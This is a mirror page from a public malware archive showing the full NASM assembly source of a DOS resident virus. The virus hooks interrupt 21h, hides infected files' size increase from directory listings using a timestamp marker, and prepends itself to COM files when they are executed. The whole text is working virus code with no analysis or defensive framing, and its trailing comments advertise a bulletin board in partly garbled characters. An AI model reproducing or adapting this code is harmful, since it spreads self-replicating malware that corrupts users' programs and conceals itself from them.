mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
188 lines
5.6 KiB
NASM
188 lines
5.6 KiB
NASM
|
;
|
|||
|
|
;
|
|||
|
|
;
|
|||
|
|
org 100h
|
|||
|
|
|
|||
|
|
ofs:
|
|||
|
|
push 100h
|
|||
|
|
push ax
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
mov dx,054h-(ofs/16)
|
|||
|
|
mov es,dx
|
|||
|
|
mov ax,es:ofs[0]
|
|||
|
|
cmp ax,ofs[0]
|
|||
|
|
je to_host
|
|||
|
|
|
|||
|
|
lea si,ofs
|
|||
|
|
mov di,si
|
|||
|
|
mov cx,virlength
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
mov ds,es
|
|||
|
|
mov ax,3521h
|
|||
|
|
int 21h
|
|||
|
|
mov word ptr ds:old21[0],bx
|
|||
|
|
mov word ptr ds:old21[2],es
|
|||
|
|
|
|||
|
|
mov ax,2521h
|
|||
|
|
lea dx,new21
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
to_host: pop es
|
|||
|
|
pop ds
|
|||
|
|
mov di,0fe00h
|
|||
|
|
lea si,relocator
|
|||
|
|
mov cx,rellength
|
|||
|
|
rep movsb
|
|||
|
|
jmp 0fe00h
|
|||
|
|
|
|||
|
|
old21 dd 0
|
|||
|
|
|
|||
|
|
relocator:
|
|||
|
|
mov di,100h
|
|||
|
|
orgofs: lea si,orgp
|
|||
|
|
mov cx,virlength
|
|||
|
|
rep movsb
|
|||
|
|
pop ax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
rellength equ $-relocator
|
|||
|
|
|
|||
|
|
new21:
|
|||
|
|
cmp ah,11h
|
|||
|
|
je findfcb
|
|||
|
|
cmp ah,12h
|
|||
|
|
je findfcb
|
|||
|
|
cmp ah,4eh
|
|||
|
|
je find
|
|||
|
|
cmp ah,4fh
|
|||
|
|
je find
|
|||
|
|
cmp ax,4b00h
|
|||
|
|
je exec
|
|||
|
|
|
|||
|
|
jmp short dword ptr cs:[old21]
|
|||
|
|
|
|||
|
|
getdta:
|
|||
|
|
pop si
|
|||
|
|
pushf
|
|||
|
|
push ax
|
|||
|
|
push bx
|
|||
|
|
push es
|
|||
|
|
mov ah,2fh
|
|||
|
|
call dos
|
|||
|
|
jmp short si
|
|||
|
|
|
|||
|
|
FindFCB: call DOS ; call orginal interrupt
|
|||
|
|
cmp al,0 ; error ?
|
|||
|
|
jne Ret1
|
|||
|
|
call getdta
|
|||
|
|
cmp byte ptr es:[bx],-1 ; extended fcb ?
|
|||
|
|
jne FCBOk
|
|||
|
|
add bx,8 ; yes, skip 8 bytes
|
|||
|
|
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
|
|||
|
|
and al,1fh ; seconds
|
|||
|
|
cmp al,1fh ; 62 seconds ?
|
|||
|
|
jne FileOk ; no, file not infected
|
|||
|
|
sub word ptr es:[bx+1ch],Virlength ; adjust file-size
|
|||
|
|
sbb word ptr es:[bx+1eh],0
|
|||
|
|
jmp short Time
|
|||
|
|
|
|||
|
|
Find: call DOS
|
|||
|
|
jc Ret1
|
|||
|
|
call getdta
|
|||
|
|
mov al,es:[bx+16h]
|
|||
|
|
and al,1fh
|
|||
|
|
cmp al,1fh
|
|||
|
|
jne FileOk
|
|||
|
|
sub word ptr es:[bx+1ah],VirLength
|
|||
|
|
sbb word ptr es:[bx+1ch],0
|
|||
|
|
Time: xor byte ptr es:[bx+16h],10h
|
|||
|
|
FileOk: pop es
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
popf
|
|||
|
|
Ret1: retf 2
|
|||
|
|
|
|||
|
|
exec: push ax
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
mov ax,3d02h
|
|||
|
|
call dos
|
|||
|
|
mov bx,0bc00h
|
|||
|
|
mov ds,bx
|
|||
|
|
mov bh,3fh
|
|||
|
|
xchg ax,bx
|
|||
|
|
xor dx,dx
|
|||
|
|
mov cx,virlength
|
|||
|
|
call dos
|
|||
|
|
cmp word ptr ds:[0],'ZM'
|
|||
|
|
je exe
|
|||
|
|
cmp word ptr ds:[0],0068h ; push 100
|
|||
|
|
jne noexe
|
|||
|
|
exe: mov ah,3eh
|
|||
|
|
call dos
|
|||
|
|
pop es
|
|||
|
|
pop ds
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
jmp short dword ptr cs:[old21]
|
|||
|
|
|
|||
|
|
noexe: mov ax,4202h
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
call dos
|
|||
|
|
cmp ax,0fd00h
|
|||
|
|
jae exe
|
|||
|
|
cmp ax,virlength+10
|
|||
|
|
jb exe
|
|||
|
|
inc ah
|
|||
|
|
mov word ptr cs:orgofs[1],ax
|
|||
|
|
|
|||
|
|
mov ax,5700h
|
|||
|
|
call dos
|
|||
|
|
or cx,1fh
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
|
|||
|
|
mov ah,40h
|
|||
|
|
xor dx,dx
|
|||
|
|
mov cx,virlength
|
|||
|
|
push cx
|
|||
|
|
call dos
|
|||
|
|
|
|||
|
|
mov ax,4200h
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
call dos
|
|||
|
|
|
|||
|
|
mov ah,40h
|
|||
|
|
mov ds,cs
|
|||
|
|
lea dx,ofs
|
|||
|
|
pop cx
|
|||
|
|
call dos
|
|||
|
|
mov ax,5701h
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
call dos
|
|||
|
|
|
|||
|
|
jmp short exe
|
|||
|
|
|
|||
|
|
dos: pushf
|
|||
|
|
call dword ptr cs:[old21]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
virlength equ $-ofs
|
|||
|
|
|
|||
|
|
orgp: int 20h
|
|||
|
|
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|